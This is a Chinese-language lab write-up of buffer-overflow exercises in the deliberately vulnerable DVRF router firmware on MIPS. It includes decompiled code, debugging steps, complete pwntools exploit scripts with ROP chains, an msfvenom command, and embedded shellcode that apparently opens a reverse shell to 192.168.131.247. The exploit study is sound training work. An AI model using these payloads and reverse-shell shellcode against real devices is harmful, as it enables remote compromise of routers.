Skip to content

DVRF项目学习

· 3,124 字 · iot

前言#

Damn Vulnerable Router Firmware (DVRF)是一个帮助了解x86/64以外架构的项目 支持qemu模拟搭建环境 项目地址 https://github.com/praetorian-inc/DVRF

环境配置#

git clone https://github.com/praetorian-inc/DVRF.git

下载项目后 使用binwalk分解出文件系统

binwalk -Me DVRF_v03.bin 该文件位于Firmware文件夹中

所涉及到的漏洞文件位于pwnable文件夹中

stack_bof_01#

先来看这个文件 readelf查看架构 发现是mips image.png

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01

image.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [sp+18h] [+18h] BYREF
char v5[198]; // [sp+1Ah] [+1Ah] BYREF
v4 = 0;
memset(v5, 0, sizeof(v5));
if ( argc < 2 )
{
puts("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r");
exit(1);
}
puts("Welcome to the first BoF exercise!\r\n\r");
strcpy((char *)&v4, argv[1]);
printf("You entered %s \r\n", (const char *)&v4);
puts("Try Again\r");
return 65;
}

首先分析一下main函数 开始对于argc参数进行了判断 其用来表示程序外部输入参数的个数 初始值为1 即运行程序的指令 如果我们后续再跟入一个参数 即可以跳过if分支 接下来使用strcpy函数将输入的参数复制到v4数组中 没有对写入的字节数进行限制 这里就存在栈溢出 同时还存在dat_shell函数 通过执行该函数 可以直接获取shell image.png

addiu $v0, $fp, 0xE0+var_C8
lw $ra, 0xE0+var_s4($sp)
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
gdb-multiarch ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01

可以看到偏移就为0xcc 此时我们在垃圾数据后加上漏洞函数的地址 看是否能够劫持程序执行流 image.png

from pwn import*
context.arch = "mips"
context.log_level = "debug"
# context.terminal = ['tmux','splitw','-h']
payload = "a"*0xcc + '\x50'+'\\'+'\x09\x40'
io = process("qemu-mipsel-static -L ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/ -g 2222 ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01 "+payload,shell=True)
elf = ELF("./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01")
io.interactive()

虽然此时已经劫持了返回地址 但是会发现程序卡在了这句 image.png

ropper -f libc.so.0 --search "lw $t9"

以sp寄存器为索引的地址相对来说更好控制 可以在栈溢出的时候顺便设置 这里的两句都可以使用 image.png

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

但是在查询libc基址的时候发现 vmmap无法显示出来地址 e59c768b79190538edb1c9f4ab494194.png

from pwn import*
context.arch = "mips"
context.log_level = "debug"
# context.terminal = ['tmux','splitw','-h']
libc_base = 0x3fee5000
t9 = 0x00021278+libc_base #0x3ff11ff4
#payload = "a"*0xcc + '\xf4\x1f\xf1\x3f' + '\x50'+'\\'+'\x09\x40'
payload = b"a"*0xcc + p32(t9)+b'\x50'+b'\\'+b'\x09\x40'+cyclic(0x3d)+b'\x50'+b'\\'+b'\x09\x40'
io = process(b"qemu-mipsel-static -L ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/ -g 1111 ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01 "+payload,shell=True)
elf = ELF("./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01")
io.interactive()

stack_bof_02#

32位小端序mips架构 image.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [sp+18h] [+18h] BYREF
char v5[498]; // [sp+1Ah] [+1Ah] BYREF
v4 = 0;
memset(v5, 0, sizeof(v5));
if ( argc < 2 )
{
puts("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r");
exit(1);
}
puts("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)\r\n\r");
strcpy((char *)&v4, argv[1]);
printf("You entered %s \r\n", (const char *)&v4);
puts("Try Again\r");
return 0;
}

没有开启任何保护 image.png

sudo snap install metasploit-framework 安装

这里指定一下要生成的类型 执行/bin/sh的系统调用 mipsel架构 linux平台 去除\x00字符

msfvenom -p linux/mipsle/exec CMD=/bin/sh --arch mipsle --platform linux -f py --bad-chars "\x00"

image.png

from pwn import*
from systemd import*
context(log_level='debug',arch='mips',endian='little',bits=32)
context.terminal = ['tmux','splitw','-h']
shellcode = asm(shellcraft.sh())
stack_addr = 0x407ffbe8
payload = shellcode.ljust(0x1fc,b'a')+p32(stack_addr)
with open("payload","wb+") as f:
f.write(payload)
#io = process(b"./qemu-mipsel-static -L . -g 1111 ./pwnable/ShellCode_Required/stack_bof_02 "+payload,shell=True)
#elf = ELF("./pwnable/ShellCode_Required/stack_bof_02")
./qemu-mipsel-static -L . ./pwnable/ShellCode_Required/stack_bof_02 "$(cat payload)"

image.png

socket_bof#

image.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
uint16_t v3; // $v0
int v4; // $v0
int v5; // $v0
size_t v6; // $v0
int v8; // [sp+24h] [+24h]
int fd; // [sp+28h] [+28h]
__int16 v10; // [sp+2Ch] [+2Ch] BYREF
char v11[498]; // [sp+2Eh] [+2Eh] BYREF
__int16 v12; // [sp+220h] [+220h] BYREF
char v13[48]; // [sp+222h] [+222h] BYREF
int v14; // [sp+254h] [+254h] BYREF
struct sockaddr v15; // [sp+258h] [+258h] BYREF
if ( argc < 2 )
{
printf("Usage: %s port_number - by b1ack0wl\n", *argv);
exit(1);
}
v10 = 0;
memset(v11, 0, sizeof(v11));
v12 = 0;
memset(v13, 0, sizeof(v13));
v14 = 1;
fd = socket(2, 2, 0);
bzero(&v15, 0x10u);
v15.sa_family = 2;
*&v15.sa_data[2] = htons(0);
v3 = atoi(argv[1]);
*v15.sa_data = htons(v3);
v4 = atoi(argv[1]);
printf("Binding to port %i\n", v4);
if ( bind(fd, &v15, 0x10u) == -1 )
{
v5 = atoi(argv[1]);
printf("Error Binding to port %i\n", v5);
exit(1);
}
if ( setsockopt(fd, 0xFFFF, 4, &v14, 4u) < 0 )
{
puts("Setsockopt failed :(");
close(fd);
exit(2);
}
listen(fd, 2);
v8 = accept(fd, 0, 0);
bzero(&v10, 0x1F4u);
write(v8, "Send Me Bytes:", 0xEu);
read(v8, &v10, 0x1F4u);
sprintf(&v12, "nom nom nom, you sent me %s", &v10);
printf("Sent back - %s", &v10);
v6 = strlen(&v12);
write(v8, &v12, v6 + 1);
shutdown(v8, 2);
shutdown(fd, 2);
close(v8);
close(fd);
return 66;
}

仍然对于argc进行了限制 需要我们提供程序参数 接着建立了一个socket通信 使用AF_INET协议族 即ipv4 套接字类型为数据报套接字 传输协议默认使用ip 随后使用bzero清空了v15数组 该数组用于存储socket信息 我们输入的参数赋值于sa_data成员 同时经过了htons函数 由小端序变为大端序 这里充当的是端口 随后利用bind函数和指定的端口相连 接着调用listen函数等待指定的端口出现客户端连接 这里的程序充当服务端 accept函数用于接受客户端的请求 接受到的数据存放于v10数组 漏洞出现在sprintf函数中 可以造成栈溢出 显然 这里的攻击思路就是劫持程序执行流 使其跳转到我们写入的shellcode

首先还是要获取偏移

./qemu-mipsel-static -L . -g 1234 ./pwnable/ShellCode_Required/socket_bof 9999

先启动程序 程序的端口为1234 监听的端口为9999 随后gdb连接1234 断点打在read函数 调用exp脚本发送垃圾数据 断点打在赋值ra寄存器那边 得到偏移为0x33

from pwn import*
from systemd import*
context(log_level='debug',arch='mips',endian='little',bits=32)
context.terminal = ['tmux','splitw','-h']
io = remote("127.0.0.1",9999)
io.recvuntil("Send Me Bytes:")
io.sendline(cyclic(0x300))

按照原本的想法 直接打shellcode就行了 但是最后无法实现 查阅了其他师傅的博客 问题出在mips架构的缓存不一致性 这一概念该如何理解 对于cpu的cache缓存一定不陌生 L1 cache为了处理指令和数据 指令是只读 而数据是读写 为了提高读写效率 将其分为了两个cache I-cache(指令缓存) D-cache(数据缓存) 所以这里需要将我们写入的shellcode从D-cache刷新到I-cache 理解到这里 产生了一个疑问 为什么在stack_bof_02中 我们写入的shellcode不需要考虑到该问题 即可生效 对比二者的程序逻辑 最明显的不同在于stack_bof_02从指令行中读取参数 socket_bof利用socket来获取数据 猜测通过socket传输的数据存储在了D-cache中 那么如何把数据从D-cache刷新到I-cache 利用sleep函数 给予一定的时间 来让D-cache和I-cache二者同步 所以接下来的目标就是寻找gadget 执行sleep(1)后跳转到shellcode 这里学习使用一个新的工具 ida的插件mipsrop 具体的安装和使用自行搜索教程 这里提一个我遇到的报错 image.png

from pwn import*
from systemd import*
context(log_level='debug',arch='mips',endian='little',bits=32)
context.terminal = ['tmux','splitw','-h']
io = remote("127.0.0.1",7777)
io.recvuntil("Send Me Bytes:")
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf"
buf += b"\xf7\x83\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += b"\x0c\x01\x01\x01"
shellcode_addr = 0x408000a0
libc_addr = 0x3fee5000
gadget1 = libc_addr + 0x7730
gadget2 = libc_addr + 0x00018AA8
gadget3 = libc_addr + 0x20F1C
sleep_addr = libc_addr + 0x2F2B0
payload = cyclic(0x33)+p32(gadget1)
payload += cyclic(0x20)+p32(gadget2)+p32(sleep_addr)+p32(gadget3)
payload += cyclic(0x24)+p32(gadget2)+p32(shellcode_addr)+buf
io.sendline(payload)
io.interactive()

执行发现程序卡在sleep函数执行中的这里 image.png

payload = cyclic(0x33)+p32(gadget1)
payload += cyclic(0x20)+p32(gadget2)+p32(sleep_addr)+p32(gadget3)
payload += cyclic(0x24)+p32(shellcode_addr+0x4000)+cyclic(0x4)+p32(shellcode_addr)+buf

此时已经可以成功执行sleep函数 但是新的问题出现了 没有按照预期的执行完sleep函数后根据$ra寄存器中的shellcode地址进行跳转 分析了sleep函数的汇编后 image.png

from pwn import*
from systemd import*
context(log_level='debug',arch='mips',endian='little',bits=32)
context.terminal = ['tmux','splitw','-h']
io = remote("127.0.0.1",2222)
io.recvuntil("Send Me Bytes:")
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf"
buf += b"\xf7\x83\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += b"\x0c\x01\x01\x01"
shellcode_addr = 0x408001a4
libc_addr = 0x3fee5000
gadget1 = libc_addr + 0x7730
gadget2 = libc_addr + 0x00018AA8
gadget3 = libc_addr + 0x20F1C
sleep_addr = libc_addr + 0x2F2B0
payload = cyclic(0x33)+p32(gadget1)
payload += cyclic(0x20)+p32(gadget2)+p32(sleep_addr)+p32(gadget3)
payload += cyclic(0x24)+p32(shellcode_addr+0x4000)+p32(shellcode_addr)+cyclic(0x30)+p32(shellcode_addr)+cyclic(0x100-0x30)+buf
io.sendline(payload)
io.interactive()

image.png